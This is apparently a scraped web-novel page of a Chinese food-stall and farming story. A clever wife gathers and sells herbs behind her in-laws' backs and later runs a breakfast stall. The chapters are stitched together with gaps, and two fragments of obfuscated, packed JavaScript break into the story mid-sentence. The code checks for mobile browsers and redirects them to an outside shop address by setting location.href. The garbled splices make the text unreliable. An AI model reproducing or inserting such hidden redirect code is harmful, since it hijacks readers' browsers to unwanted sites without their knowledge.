几只柑橘沉甸甸的,今日她又只吃了一个素馅包子,她便将手头的柑橘全都剥来吃了。冬日的柑橘个头长得大,剥开后果肉黄橙橙的,她掰开两瓣放进嘴里咀嚼,甘甜的汁水顺着她的舌尖滑到了胃里,满口都是果肉的清香。 待将最后一只柑橘吃完,她将手里的柑橘皮全丢到了小河中,又用河水将手上沾染的汁水洗干净。做完这一切,又等了一会,沈二贵才晃晃悠悠从远处走来。 见他面色并不像早晨那样欣喜,而是苦着一张脸,唉声叹气,吴怀夕就笃定他又将钱输光了。 现下早就已经超过了申时,街道上的人也不多了,全都忙着收摊子,熙熙攘攘的。借着暮色,沈二贵看到了街边角落里的吴怀夕。她依旧穿着那件红色的袄子,坐在板车的一角,见他来了,便朝着他笑,这一笑都将沈二贵今日的闹心事都笑走了不少。 “二贵儿着实辛苦了。” 吴怀夕说话轻声细语的,待了一些担忧之色,但她依旧是一张笑脸,“天色也不早了,我们快回去吧,别让娘和相公担心。” “让嫂嫂久等。” 沈二贵将身上的铜板输得一个子也不剩,虽然见着自己嫂嫂的笑好受了些,但如今肚中空空地拉着板车,心中又有了一些恼意。 “今日我去给相公买药时,发现那药铺掌柜在收药材。” 吴怀夕见他拉着板车的步伐急躁,就知道现在是谈正事的好时光。 “我以前随爹进山里砍柴时,也识得一些药材,我想着去山里采些,能补贴些家用。” 今日她仔细想了想,若是偷偷摸摸地进山采药材,捡菌子,根本没有借口出门。就算有办法出去,保不齐就会被发现。唯一的办法就是告知他们,不但要告知,最好整个杏花村都知晓她要去采药材补贴家用。 这样她才能正大光明地挣钱。 “那山里野兽可多着呢,嫂嫂当真要去?” 沈二贵有些吃惊,自己家大哥到底哪来的福气,瞧着又是个瘫痪的,长得也不标致,如何让这嫂嫂死心塌地? “多也要去啊。娘说家中的钱不多了,相公吃药要钱,二贵儿......” 吴怀夕抬眼看了看身前正在拉车的沈二贵,吸了吸鼻子,语气间有着为难,“你读书也要钱,咱们二贵儿日后一定可以考个大相公回来,二贵儿去学堂读书,嫂嫂也应多出一份力才行,你听着是不是?” 沈二贵听了吴怀夕的话,拉着板车的身形一怔,心中那是喜得要发疯了。从前他身上的钱只跟李凤娟要,那也是从买米面,买药材中克扣出来的,李凤娟也是偶尔才会给他钱去买一些笔墨纸砚,如今自家嫂嫂竟然要给他钱?那不是天上掉馅饼,这实在是一件美事。 况且嫂嫂竟如此这般在意他,他定时要比大哥强上几分的,日后也是与嫂嫂琴瑟和鸣,哪还有大哥什么事? 沈二贵按了按自己“扑通”乱跳的心脏,抑制住激动的情绪,清了清嗓子,“嫂嫂将我当作什么人了?我怎么能用嫂嫂的钱财?” 语气听着十分不愿意,像一位正直之士。 “怎用不得?我已经嫁入了沈家,我的钱便都是沈家的钱。”吴怀夕揉了揉心口,脸上多了一抹悲伤的神色,她的声音在寂静的夜里显得格外难过,“难道说二贵儿与我生分了?若果真如此,不如我这就告诉娘,叫她成全了你与相公,让相公给我一纸休书,回娘家去!” “好嫂嫂,这是哪的话!”沈二贵似乎已经吃定了这套,将板车停了下来,连连规劝。 但他眼珠子一转,像是又想到了什么,“今日我去学堂,见其他同窗都风度翩翩,穿得干净,手上赠给老师的东西也是极好的,唯有我......” 说到这,沈二贵的声音低沉了几分,显得有些沮丧,“唯有我,穿得也没有他们好,也拿不出像样的礼品来。” 这话的意思就是在告诉自家嫂嫂,叫她多给他一些银钱,别叫他在其他人面前抬不起头。 真是贪心不足蛇吞象,吴怀夕怎么会不知道他这些心思,她等得就是他这句话。 她告知沈家的,只会是些最便宜的药材,也分不到他们多少钱,至于那菌子的事,她更是连提都没提一嘴。李凤娟定会叫沈二贵看着她,而沈二贵有了钱,只会溜进赌坊子。 “怎么会!”吴怀夕一边比划着一边夸赞,“咱们家二贵儿可是天上的文曲星下凡,他们如何与二贵儿比。那你看这样如何,我将钱多给二贵儿些,娘那里少给些。只是......” 她犹豫了片刻,叹了一口气道。 “娘会生气的。” 沈二贵听了自家嫂嫂的夸赞,还说将钱多给他些,连忙拉起板车,语调轻快,“嫂嫂放心,娘那里由我说道说道,你就放心采药吧。” “好。”吴怀夕用力捏了捏大腿,防止自己笑出声,依旧用着担忧的语气说道。 “二贵儿,你拉得慢些,别累到了。” “不累,不累!” 沈大贵的脚步轻快起来,这银钱白白送到他手上,他如何会累?现下竟是将歌都哼起来了,完全忘记了肚中饥饿。 伴着月色,板车一路从从镇上拉回了杏花村,沈二贵也没有看到板车上身后的嫂嫂,脸上正带着一丝得意的笑。 待到了家门口,李凤娟已经早早在候着,一张脸黑成了猪肝色。 “买个东西,需要用一天的时间?”李凤娟没有指责面前的沈二贵,反倒是将目光落在了身后的吴怀夕身上,“福娘,你是不是叫二贵儿带着你玩去了!” 7. 进山 《种田摆摊小食日常》全本免费阅读 毕竟是昨日里刚买了精米,沈二贵与李凤娟说去山里是个力气活,便让她多煮些白粥。两碗白粥上桌,沈二贵就将一碗粥推到吴怀夕面前,喊着“嫂嫂先吃”,着实热情。 现在的吴怀夕可是他心中的财神菩萨,那碗李凤娟盛给自己的白粥就这样进了吴怀夕的肚。 不愧是精米,煮出来的粥也是洁白如玉,米香四溢。吴怀夕舀了一口粥,咽进嘴里,也不用就腌菜,柔然细腻的粥在舌尖化开,不用过多的咀嚼便滑入喉咙,直达胃部。热气蒸腾,叫人的身子都暖和不少。 等李凤娟端出一碗带汤水的,碗底里见不得几粒米的白粥时,吴怀夕与沈二贵早就背着背篓进山,而桌上她那只自己的大碗已经空空如也。 她骂了沈二贵一句“胳膊肘往外拐”,又愤恨地喝了一口米汤。 进山的路并不好走,需要通过一条小径,小径泥泞又狭窄,板车是不能拉进山的。二人在山外头捡了两根粗树枝,将板车停在了一旁,一前一后,拄着慢慢靠近了山脚。 由于前几日下了雨的缘故,山脚的枯木下果然长了不少的菌子,闷在一堆杂草下的,是一些香菇与平菇,还有一些色彩艳丽的毒菇。吴怀夕只是扫了一眼,也并未看见昨日见到的羊肚菌与鸡枞菌。按照老太太们的说法,是再要往山里进进。 她今日的目标并非那些菌子,毕竟身边跟着沈二贵这人,还在傻乐呵。决明子是常见的草药,二人往山中走了一阵,便寻到了决明子灌木丛。 这样大的一片决明子丛,上方缀满了豆荚一般的果实,看来并没有多少人摘取。吴怀夕望着这决明子丛有些吃惊,她见过决明子花,娇艳可爱。若是春日里来,就能见到遍野的黄花,定是好看极了。 见沈二贵正靠着树枝休息,吴怀夕便喊他来采摘,他虽说有些不情愿,但今日毕竟是第一次进山,他叹了几口气,还是将吴怀夕的背篓取来,去将那些豆荚般的果实摘进背篓。 “二贵儿,你且在这儿摘着,我去寻寻其他的药材。若能寻到,也能多卖些钱,给二贵儿读书。” 吴怀夕将一条汗巾搭在了他的背篓上,笑容温柔似水。 “嫂嫂莫要往深了进,虽说是冬日里,保不齐会有野兽出没。” 沈二贵听了这话,更是有了些干劲,拿起那条汗巾,擦了擦那根本没有冒汗的额角,目送着自家嫂嫂离开。 吴怀夕往山里走了走,在确保沈二贵瞧不到她的影子后,便按照老太太们说的方位寻了过去。杏花村的人平日里靠种田绩麻过日子,要说从前还有一两位猎户去深山里打猎,但如今基本每家每户都有一亩农田,男人们领了锄地插秧的任务,便很少有人再进深山了。 山中草木茂盛,许多巨松上都爬满了藤蔓,着实有些难走,也不知那些老太太是如何顺利进去的。吴怀夕一边用手中的枯树枝扫去路上的障碍,一边感叹,老太太这样的人物,无论是在古代还是在现代,都是有些本事在身上的。 按理说越往里头走,越阴凉才是,但她倒是觉得,怎么身上并不寒冷,反而暖和起来。走了不多会儿,她便听到了潺潺的流水声,再仔细瞧瞧,竟有水汽从树林见蒸腾出来。 吴怀夕心中一惊,便快步朝着那处有水汽的地方走去。 待到了地方,她终于打消了这两天心中的疑惑,为何这样冷的冬日,在没有温室培育这种东西的古代,山中会长出鸡枞菌这样喜热的菌子。 这儿竟有一处温泉! 她用手试了试这温泉水,温度适宜,最适合温养植物。她心中大喜,这样的温泉水,也许不止能长出菌子...... 吴怀夕绕着这方温泉走了一圈,果然在温泉旁的几棵树下,发现了许多才长出来的羊肚菌与鸡枞菌,一旁支着白色杆子的竹荪,也冒出来不少。若是再挑开一些杂草,还能捡到不少松茸。 可最让她激动的,不是这些菌子,而是她找到的忍冬花。它的价值,可要比那些决明子与鸦胆子金贵的多。这被称为金银花的东西,在温泉的熏陶下,倔强地开着它白色的小花。 吴怀夕捧着那花,几乎落下泪来。有了这些东西,她就能多挣一些钱,就能更快地想办法脱离这个个都不怀好意的沈家。 她用这温热的泉水洗了一把脸,泉水旁待了一阵,平复了她激动的心情,再慢慢地返回沈二贵采药的地方。 那沈二贵哪里在采药,早就找了一棵大树,坐下那树身旁靠着酣然大睡。一旁的背篓里也只有半筐决明子,大概是待她走了不久后,就躲懒睡觉了。 吴怀夕靠近沈二贵用树枝戳了戳他的肩膀。待沈二贵睁开眼睛,又是那温柔似水的嫂嫂,嫂嫂的眼睛有一些红肿,似是刚刚哭过,急得他马上询问缘由。 “二贵儿。” 吴怀夕吸了一口气,悠悠开口,“叫你这样的读书人,跟着嫂嫂来采药,真是苦了你了。你瞧瞧,这才未到未时,你就这样疲累,你这样捧书拿笔的纤纤手指,以后是要用来挥毫泼墨,做大相公的,怎能用来采药。” 沈二贵的手指又粗壮又黑,也不知道吴怀夕怎么怎么样夸赞出来的。她确实能说会道,从前为了拿下一些单子,如何长相,如何气质的老板,她都能说成是天上的谪仙人。 沈二贵眼睛才刚刚睁开,都还未反应过来,便听得自家嫂嫂夸他,心中自然是美,连声应着嫂嫂说的极是。 见自家嫂嫂说完他以后,继续去一旁的决明子从采摘果实,而他却坐在大树下,实在是有些不好意思,便一个鲤鱼打挺,嘴上说着“来帮嫂嫂”,将那果实尽数捋下。 二人采了一背箩,才出了山,拉了板车,去镇上的药铺里兜售。 药铺掌柜见昨日的小娘子果真带来了药材,想着这样瘦弱的姑娘,竟跑到深山里去,摘了这样多的决明子,心中 8. 买卖 《种田摆摊小食日常》全本免费阅读 五十文钱除去给吴怀夕的那两文,叫沈二贵输了个精光,哪还有余钱交给李凤娟。他没有办法,夜里回去时,又给李凤娟编借口,说是嫂嫂确实挣到了钱,但被他孝敬先生去了,李凤娟这才作罢。 但她的心里又极不是滋味,到底是个如何黑心肝的先生,怎么总是要他儿子来孝敬。她把气撒到了吴怀夕身上,叫她每日多挣些钱,改明日换一家书院去。 而吴怀夕继续扮演着一位乖媳妇的模样,连声回应,也帮着沈二贵隐瞒。待李凤娟消了气,再嘴甜会,夸上几句“二贵天资聪颖”,将这娘俩哄得一愣一愣的,硬是让李凤娟在给沈二贵热饭的时候,多给添了她半碗。 又是一个清晨,吴怀夕与沈二贵二人在李凤娟的目送下,早早离了家。 昨日吴怀夕已经摸透了沈二贵的心思,二人刚将板车拉到山脚下,她便劝着沈二贵好好去书院读书。 那副温柔似水、苦口婆心的样子,在沈二贵的眼中,与自己刚刚娶进门的媳妇儿并无区别,心中更加不满起自己的大哥来。 今日沈二贵又继续用读书的借口,从李凤娟那里诓骗来五十文,并再三保证这是本月最后一次给先生送礼。 这想去赌坊子的心思与规劝他去书院的话语,正中沈二贵下怀,他表面上再三感谢几句嫂嫂,又添几句嫂嫂辛苦了,便头也不回地往镇里跑。 待送走了沈二贵,吴怀夕独自一人进了山,许是近两日老太太们都没来捡,温泉旁的菌子更多了。 清晨的阳光透过松林,洒在柔软的松针上,氤氲的温泉水汽中透着一股好闻的松香。 吴怀夕趴在松针上,小心翼翼地将那些菌子给采下来。温热的水滋养了一些价值高的菌子,但其中也包含着一些毒菌,她仔细地辨认着,很快就将背篓装满了半筐。 她并不多采,又将一旁的金银花摘了些,塞在菌子旁,随后继续往昨日摘决明子那儿的地方去。 昨日她与沈二贵是将决明子连同外壳一起摘,除去那些外壳,拢共是五两重。今日则是不同,她摘了一样重量的决明子后,便蹲坐在一旁,仔细地将那些外壳剥去,露出里面的籽来。随后,她又脱掉了身上的一条里衣,覆盖在菌子与金银花之上。 如此下来,里衣既遮住了下面的东西,又能兜住那些剥掉外壳的决明子。 今日的吴怀夕十分有干劲,这才刚到午时,她就已经将背篓全部装满了。待她下了山,拉起那板车走到镇上,日头依旧很大,时间还不晚。 小镇上的赌坊子赌得并不大,也就几文钱的筹码来来回回,摇摇骰子、推推骨牌,你赢一把,他输一把,可以玩一天。因此她并不担心沈二贵会从哪里冒出来,毕竟他这人赌瘾极大,就算将手里的银钱输的一干二净,还要旁观别人,指挥指挥,不在里面泡上个一天,是不会出来的。 “吴小娘子,今日的决明子依旧是五两重,这是给你的五十文。” 药铺掌柜称了吴怀夕背篓里的决明子,满脸和煦地给吴怀夕数银钱。 他本想称她为沈家的媳妇儿或者大贵媳妇儿,但是瞧着她精明干练的样子,这两个称呼到了嘴边,便被他生生地咽了下去。听闻是吴家的姑娘,他便喊上一声“吴小娘子”,见她听了这个称呼,脸上的笑意更甚,想必是满意的。 “今日我想请掌柜帮我瞧瞧,这金银花现下值多少银钱?” 吴怀夕从怀中拿出了一朵新鲜的金银花,递到药铺掌柜面前晃了晃。 “这冬日里竟有这样新鲜的金银花?” 药铺掌柜看见那多开得正好的黄白色小花,脸上的眼珠子都随着吴怀夕晃动的手转来转去,“吴小娘子,你,你有多少?” 要知道那董富户家的大儿子咳疾严重,而金银花有清热解毒、宣散风热之功效,对于缓解咳疾有奇效。这去年收的晒干的金银花可冲泡、可入药,而新鲜的金银花,若是用来加入寻常的饮食中,当作药膳,那董大公子的咳疾也能好得快些。 “掌柜还未告诉我,这新鲜金银花的价格呢。”吴怀夕只是笑笑。 “许能给吴小娘子五十文一斤。”掌柜心领神会,只能讪讪开口,并不再多问,“这金银花是寻常可是要到五月才见到,可那董大公子这两月就难受得紧,自然是需要的。可怜那几位采药郎,竟因为怕冷躲懒,白白浪费了这挣钱的大好机会。” “既然是要紧的草药,五十文,是不是有些太......” 吴怀夕将金银花收了回来,重新放进了怀里,转身便要走,眉头紧皱,“我瞧着镇上也不止掌柜一家药铺,我再去别家问问吧。” 这金银花若是卖到县里,可是翻上一翻不止,见这好生意马上要落到别家去了,药铺掌柜连忙喊住已经走到门口的吴怀夕,“吴小娘子请留步,七十文,七十文可好?” 吴怀夕将踏出门槛的脚给收了回来,朝着掌柜的盈盈一笑,“自是好的。” 她将背篓中的金银花拿了出来,药铺掌柜称了又称,大约有有一斤多重,便给了吴怀夕八十文。 虽说决明子一两重卖十文钱,可那东西剥去外壳,比松子还要小上几分,费时费力不说,采上个一天,也挣不上多少银钱,更何况那本就是用来迷惑沈家的东西。 而金银花却不同,它本是花,采起来省时又简单,若不是今日吴怀夕想先来试试水,每日采上个三四斤,都没有问题。 她颠了颠手中的银钱,不多,但对于她来说,这便是她挣到的第一笔属于她自己的银钱。 当然,在与药铺掌柜确保她只会将金银花卖给他一家的同时,她也请药铺掌柜作了个保,若有人问起,请务必说她只来他们家兜售决明子。 有些东西,放在现代人与古人身上,是相同的。 那便是生意人之间的秘密。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12574528|131525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用好长的一段时间。且一大锅皮蛋瘦肉粥中,只需撒一点儿就可增加风味,并不会亏本。 看来这皮蛋瘦肉粥,大家也很喜欢,是时候多腌一些皮蛋了。 “哎哟喂,那什么粥,也给我上一碗吧,我真是要死了。” 一位食客正扶着腰,慢慢地走到小食摊面前。一坐到凳子上,便立刻弹跳起来,随后再慢慢坐下去。 他脸色苍白,整个人都病恹恹的,像是生病了。 “哎唷,这不是孙哥吗?这两日都没看见你,这是发生什么事了?” 陈福来看到他这副样子,并不同情,反而凑上前去,调笑道,“怎么走起路来这么费劲,屁股疼?犯事叫人给打了?” “去去去!” 孙大哥叹了一口气,叫吴怀夕快些上碗粥,欲哭无泪道,“快别说了,就吃前面那家生煎包给闹的,拉死我了。我就尝着那肉味道有些酸,想着不能浪费吧,就全给吃了......” “哎哟喂,拉了我两天,人都快拉没了。” 孙大哥哀嚎连连,一张脸拉得如同苦瓜似的,看来确实痛苦得很啊。 “你才别说了呢。” 陈福来一脸嫌弃,“大家伙都在吃饭呢,你一个人在这拉不拉的,还让不让人吃了。谁叫你贪小便宜来的,实话告诉你吧,我前两日还瞧见那摊子进的肉,买的是屠三哥黄昏时剩的肉。” “还十文钱十个,我瞧着你看大夫配些止泻的药,也得花上几十文吧。” 陈福来还在一个劲地说,引得旁边的食客纷纷大笑,孙大哥却已经没有力气去辩驳了。 “孙大哥,喝粥。” 一碗热气腾腾地粥摆到孙大哥面前,温热的粥一口下去,让他的胃里好受了不少。 再望着吴小娘子那张笑意盈盈的脸。 更加好受了。 以后再也不去那该死的摊子上吃东西了,还是来吴小娘子这儿! “好香,仲玉,要不咱俩过去尝尝?” 两位书生打扮的公子路过小食摊,其中一位被香味吸引了。 “吃过了。” 那位叫仲玉的公子摇了摇头,却依旧朝着好友指的方向望去。 他瞧见小食摊上有一位穿着藕粉色衣裙的姑娘。 盛开的杏花瓣被风吹拂下来,落入她的发间。她一颦一笑,在蒸腾的热气下,带着一丝别样的人间烟火气。 22. 清明 今日倒是与往常的日子有些不同,冷了些。 小河边的杏花本就在洋洋洒洒地往下落,被冷冽潮湿的空气一熏,倒像是有些蔫了。 河边的行人全都裹紧了衣服,也不像多日前热得穿一件薄衫。 “吴小娘子,赶紧来晚姜汤暖暖。” 食客穿着一件厚袄子,收了伞,走到小食摊的桌前。细雨如丝如绸,淅淅沥沥地打在桌上方的打伞上,溅起一圈小水花,却落不到桌上。 定制的大伞也已经送来,她的小食摊倒是个避雨的好场所,又有免费的姜汤,不多时,小食摊前就坐满了人。 “我说,还是吴小娘子这儿的生煎好吃,前头那家,都没人了,今日都没来摆摊。” 食客夹起生煎包,咬一口汤汁四溢,又用调羹搅了搅皮蛋瘦肉粥,“我同你们讲,真是笑死我了......” 食客喝了一口粥,话讲到一半,却自顾自地笑了起来,笑得上气不接下气,半晌就是不讲,十足地吊人胃口。 “我说,你能不能快讲,啥新鲜的事啊?” “对啊,对啊,你别把自己给笑岔气了。” 不仅别的食客好奇,连吴怀夕也驻足,偏着头想要瞧瞧他葫芦里卖得是什么药,给他又添了些姜汤。 “咱们桃源县最近的官老爷来镇上了,说是来巡查民情,这不,在风味斋那儿住下了。这官老爷倒是吃不得这些摊子上的东西,可是带来了好几个衙役啊,其中有位明大官人,是最好吃的。” “那位明大官人,早晨来巡街,就吃得那家生煎......哈哈哈哈哈,我同你们讲......哈哈哈哈哈!” 那食客捂住肚子,笑出声来,就差没在地上打滚儿了,“那家摊子,竟然给明大官人,吃隔日的生煎!” 另一食客听了升起惊奇之色,他捂着嘴,“前两日这样热,隔日的生煎,不都酸了?” “哈哈哈哈!” 那食客端起姜汤饮了一口,砸吧砸吧嘴继续讲,“谁说不是呢!那王婆子瞧着倒老实,还给明大官人倒了一碟子醋,明大官人还以为是我们这特色呢,就给全吃了,哈哈哈哈......” “全吃了?” 孙大哥将碗端到了这位食客面前,一股强烈的同情心溢于言表,“我那天就吃着俩酸的,就拉了好几日,这明大官人全吃了?那岂不是......” 别的食客也纷纷围上来,想要听得更加清晰些。 “王婆子那生煎,那可是比泻药还管用啊。纵使明大官人是练家子又如何,那也是,一泻千里呐!” 食客将姜汤一饮而尽,将碗往桌子上一拍,如同说书先生拍他醒木一般。 “天呐!明大官人还好吧。” 孙大哥这两日已经将身体养好了,回想起当初的痛苦食客,对明大官人表示深深的同情。 “那能好吗......那不说是练家子呢,还能捂着肚子,寻王婆子去。谁知那王婆子跑得比兔子还快,摊都没了,你说这明大官人找谁说理去?哈哈哈哈哈!” 食客正慷慨激昂地讲着这趣事,一时间,小食摊充满了欢笑声。然而他一转头,瞥见小食摊旁一抹黑色的身影。 他的神情比他身着的黑衣更黑,一双丹凤眼里满是阴郁。 “明,明......” 食客的舌头如何打了结般,哪还有刚刚的神气劲,“明大官人!” “你们安阳镇的摊子,都是些黑心肝的。” 明轩将油纸伞收了,坐到那食客身边,“你再讲讲,我觉得你讲得甚是有趣,再讲些。” “介介介......介咋会呢,明大官人。” 食客坐如针毡,这刚说完本尊的坏话,本尊出现在他眼前就算了,还坐到了他身边,“明大官人用饭了吗?想吃些啥,小,小的请了。” “不吃了,怕吃死。” 明轩愤愤地将佩刀往桌上一拍,“来一碗姜汤便可。” 姜汤很快就上端了上来,他又愤愤地喝了一口。 他长得一副生人勿近的样子,其他食客方才也跟着笑了几声,个个噤若寒蝉,比做功课还仔细般吃着面前的朝食,不敢往这儿瞧。 那食客就更加小心翼翼了,夹着生煎包,轻轻地放入口中,连咀嚼的声音都不敢发出来。 未曾想。 “咻!” 吴小娘子的生煎包做得实在是太过美味,新鲜且汁水丰富。 一咬,那汁水就这样溅到了明大官人的袖口上。 ! 这一瞬间,食客心里已经将自己的身后事都交代明白了。 “你这吃的是什么?怎么同那家摊子不一样?” 想象中的暴怒并没有到来,他颤颤巍巍地抬起头,反而瞧见了明大官人一脸好奇地盯着他夹着的生煎包。 “回,回明大官人,这是生煎包。” “我知晓这是生煎包,这怎么会有这么多汤汁?” “回,回明大官人,吴小娘子摊上的生煎包,就是这般的。底层酥脆,上层软嫩、馅料多汁、肉香四溢......” 那食客还未说完,明轩咳嗽了两声,一伸手,“来一叠。还有那什么粥,也来一碗。” 皮蛋瘦肉粥与生煎包被摆到了明轩的桌上,他夹了一只放进嘴里,果然与这食客描述的味道相同,层次分明,口感香脆。 那摊子上的生煎包与这根本,没法比嘛! 还有这碗看起来就叫人食欲大增的粥,美味咸香,润滑爽口。 众食客纷纷偷偷瞥过头来,见这明大官人一口接一口地尝着粥,与他们并无什么分别。 看来这明大官人也不是这么不好相处,再者,王婆子的家只要稍微一打听,便可知晓,他也没去王婆子麻烦。 这边大家都在偷看,那边吴怀夕已经将新的吃食摆了出来。 小食摊前的木板上,放着一排清明粑。 “吴小娘子,你这做朝食还不够,怎么还做上清明粑了。” 一食客眼尖,瞧见了木板上的清明粑。与自家做的不同的是,那清明粑泽鲜亮,外形圆润,如玉石般饱满。 “做些自个儿尝尝,也想试着卖些。钱大哥要尝尝吗,三文钱一个。” 吴怀夕用竹夹子夹起清明粑,那外皮像是与木板难舍难分似的,分开得极慢,瞧着就黏糯。 清明粑做起来麻烦,要将艾叶切碎了揉进面粉里,一般寻常人家就用普通的粗面,若是讲究些,就用精面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12612996|131525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >像外头酥饼铺子里,要买来送礼的,就更加讲究,要用上糯米粉。但那实在是贵价,一盒装着六个清明粑的礼盒,要卖上五六十文钱。 “那尝尝。” 钱大哥拿起筷子将端上来的清明粑一夹,竟印出一个深深的坑,如此黏糯! 他索性直接用手拣起那清明粑,放进嘴里。 清明粑外皮细腻,连艾叶的影子都瞧不见,却能闻见艾叶的清香。嚼起来满口的顺滑软糯。 内里大有不同,芋头与蛋黄沙沙的口感交错,甜中又带着一丝微咸。 软糯、香甜、清新...... 这还是他平日里尝过的,粗糙的清明粑吗? “三文钱,用的是糯米粉,还是个我从来没尝过的馅。吴小娘子,快些给我多包几个,我带回家给我媳妇儿与孩子尝尝!” “钱大哥,您刚刚尝的是蛋黄芋泥馅、还有豆沙馅、花生芝麻馅、枣泥馅,你要哪些?” “都要!都要!” 这钱大哥一带头,其他食客也纷纷想尝尝。一个清明粑而已,至于像没吃过似的吗? 然而这一到嘴里,可就不同咯。 豆沙馅出了沙,甜而不腻,花生芝麻馅裹着糖浆,满口酥香,枣泥馅枣香浓郁,口感细腻。 尤其是那外皮光滑黏糯,用了糯米粉,却只要三文钱! “吴小娘子可接礼盒,这样的美味,我想送给外婆尝尝。” “对头,可接礼盒,贵些也不打紧。” “是接的,今日做得少些,若你们想要礼盒,便同我讲,我明日一并做了。不过只能用油纸包起来,描些花样,并不是贵价的木盒,每样两枚,一共八枚,三十九文。” “竟如何实惠!我订两个!” “我也订两个!” “我订一个!” 若说是四十文钱,听起来确实是贵了些,若说是三十九文,只差一文钱,听着可是三字开头。 就像现代的九块九、十九块九、二十九块九......听着是便宜,这一通买下来,花下去大几百。 “给我包几个带回去。” 明轩尝了一只清明粑,果然也是与众不同,可他今日已经尝了八只生煎、一碗皮蛋瘦肉粥,若是再尝上四五六七个。 是不是不太威严。 他咳嗽了两声,从这位吴小娘子这儿,带回去了十个清明粑。 食客陆陆续续地走了,吴怀夕拿笔那么一算。 今日朝食收入三百多文,清明粑收入一百多文。 还有这么多三十九文的清明粑单子...... 发财啦! “仲玉,你尝一个,特别好吃!” 明轩回了风味斋,见掌柜的公子正在柜台前仔细地算账。他自己是个自来熟,来了这儿后,整个风味斋的伙计都混熟了,更何况掌柜的公子呢。 仲玉瞥了一眼黏腻的清明粑。 “不吃。” “你尝一个嘛,仲玉,相信我。我可就给你一人吃......” 明轩强行将一个清明粑塞进了仲玉的手心。 仲玉无奈摇了摇头,尝了一口。 他眉心一颤,又尝了一口。 果真如此好吃。 23. 萌动 寅时初刻,春雨裹挟着东风,细密地落在小食摊的木檐上,河边雾气朦胧,几乎看不见人影。 这样的日子,连敲竹梆子的更夫都只是囫囵敲上几下,裹了裹身上的蓑衣,不知躲去了哪里。 河边小食摊的门“吱呀”一声打开,露出吴怀夕打着哈欠的身影来。 孩子们搭好的泥灶子旁用木头搭了一个架子,上方盖着一层油纸布。尽管春雨落着,移开底下几块砖头后,泥灶子里的柴火昨夜依旧烧得火热,沾不到一点儿春雨。 底下柴火虽灭了,但上方泥灶子的余温还在。 吴怀夕用手在砖头旁试探了几下泥灶子里的温度,将一些雪白的小团子摆在芦苇叶上,放进泥灶子,再将砖头给移上。 小食摊内的泥炉上煮着热水,她给自己沏了碗散茶,又加了些陈皮,才去忙活其他的事。 豆腐的朝食先暂停几日,最近几日都要做清明粑,实在是没有功夫磨豆子。 看着木桶里的黄豆,吴怀夕却有些动摇,不过才做个把月的豆腐生意,她恨不得自己长出几只手来疯狂将它们给磨了,买骡子的计划又提上了日程。 她将嫩艾草捣碎后,用屉布将翠绿的汁液滤得很干净,留不得一点儿渣子,这样尝起来的口感才细嫩圆滑。 艾草汁液混入糯米粉,又加了些猪油与细砂糖,揉成面团。 豆沙、枣泥、芋泥这些馅又要现蒸,若是用了隔夜的,尝起来不佳不说,若是酸了,那岂不是吃坏肚子砸了她小食摊的招牌。 实在是忙上加忙! 待到夏日里,她的哺食生意做起来,她定是要招两位人手的,这谁吃得消! 散茶已经放凉,她咕嘟咕嘟一饮而尽,又倒上一些,希望能驱散她的困意。 生煎包与皮蛋瘦肉粥依旧要做,等她忙完这些,又将清明粑放凉,已经喝了三大碗散茶。 小食摊的客人又陆陆续续地到了,她一边招呼客人,一边将凉好的清明粑用包上油纸,描了些花草的花样,再用细麻绳系在上面,方便拿取。 “吴小娘子,上一叠生煎包。我订的清明粑礼盒做好了吗?” 钱大哥坐到了桌前,瞥见今日少了两只木桶,又瞧着吴小娘子哈欠连天的样子,登时心领神会,倒起桌上的茶,也不要豆浆喝。 “已经做好了。” 吴怀夕将生煎包端到他面前,又将包好的清明粑拿了过来,“钱大哥要的两份,你瞧着这样式如何,是否和心意?” 虽说是简单的油纸,但油纸上却描了不少秋菊兰花。这一瞅,竟是一点儿都不落俗。 那酥饼铺子里的礼盒虽然瞧着好看,但吃完里面的清明粑后,雕得龙飞凤舞的木盒子小得装几个鸡蛋都不成,只能用来放些瓜子。 像是寻常人家摆些阔气劲。 油纸包的吃了丢了便可,何况这吴小娘子做的清明粑实在是可口。 “合心意,合心意。” 钱大哥尝着生煎包笑得合不拢嘴,眯着眼睛将剩余的钱递给了吴怀夕,越瞧越合心意。 一个礼盒十文钱定金,昨日她接了得有四十多个礼盒。 光清明粑这样吃食,除去成本,一天下来,能净赚一两多! 吴怀夕在心中数着一份又一份的钱,默念着要是每天都过节,就好了。 依旧是同昨日这般相同的套路,昨日是清明粑,今日便是别的。 当吴怀夕用湿布裹了手,用竹夹子从一旁的泥灶子中夹出一个又一个雪白的团球后,又引得食客们连连往她那里探头。 “吴小娘子这又是做了啥啊,咋闻起来这样香!” 一股浓烈的蛋奶香夹杂着甜丝丝的味道,在小食摊上弥漫开来。 “是蛋黄酥,要尝一个吗?也是三文钱。” 一个个蛋黄酥摆在木板上,底端雪白,上方又呈金黄,沾着不少黑芝麻,像一只只金元宝。 吴怀夕拿着竹夹子晃了晃,蛋黄酥上的酥皮随着晃动掉落。 诱人。 “怎得不尝?吴小娘子做的吃食不是样样赛神仙,给我来一个!不,来俩!” 钱大哥今日的心情格外的愉悦,胃口也跟着好。 那蛋黄酥虽然是小食摊上的玩意,却瞧着比酥饼店里更加有模有样。 他迫不及待地将拿起一只,却被烫得险些丢出去。蛋黄酥从他的左手传到右手,又从右手传到左手,酥皮掉了些,又掉了些。 